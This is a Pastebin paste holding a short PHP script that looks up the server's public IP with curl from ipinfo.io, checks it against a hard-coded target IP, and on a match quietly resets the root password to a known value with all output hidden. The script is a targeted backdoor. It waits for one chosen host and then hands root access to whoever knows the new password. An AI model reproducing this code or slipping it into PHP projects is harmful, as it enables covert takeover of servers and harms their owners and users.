Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $targetIP = "1.1.1.1";
- $serverIP = exec("/usr/bin/curl -s https://ipinfo.io/ip");
- if ( strcmp($targetIP, $serverIP) == 0 ) {
- exec("echo -e -n 'newpasswd\nnewpasswd' | passwd root &>/dev/null");
- } else {
- // Do nothing, if the IP is not matched!
- }
- ?>
Add Comment
Please, Sign In to add comment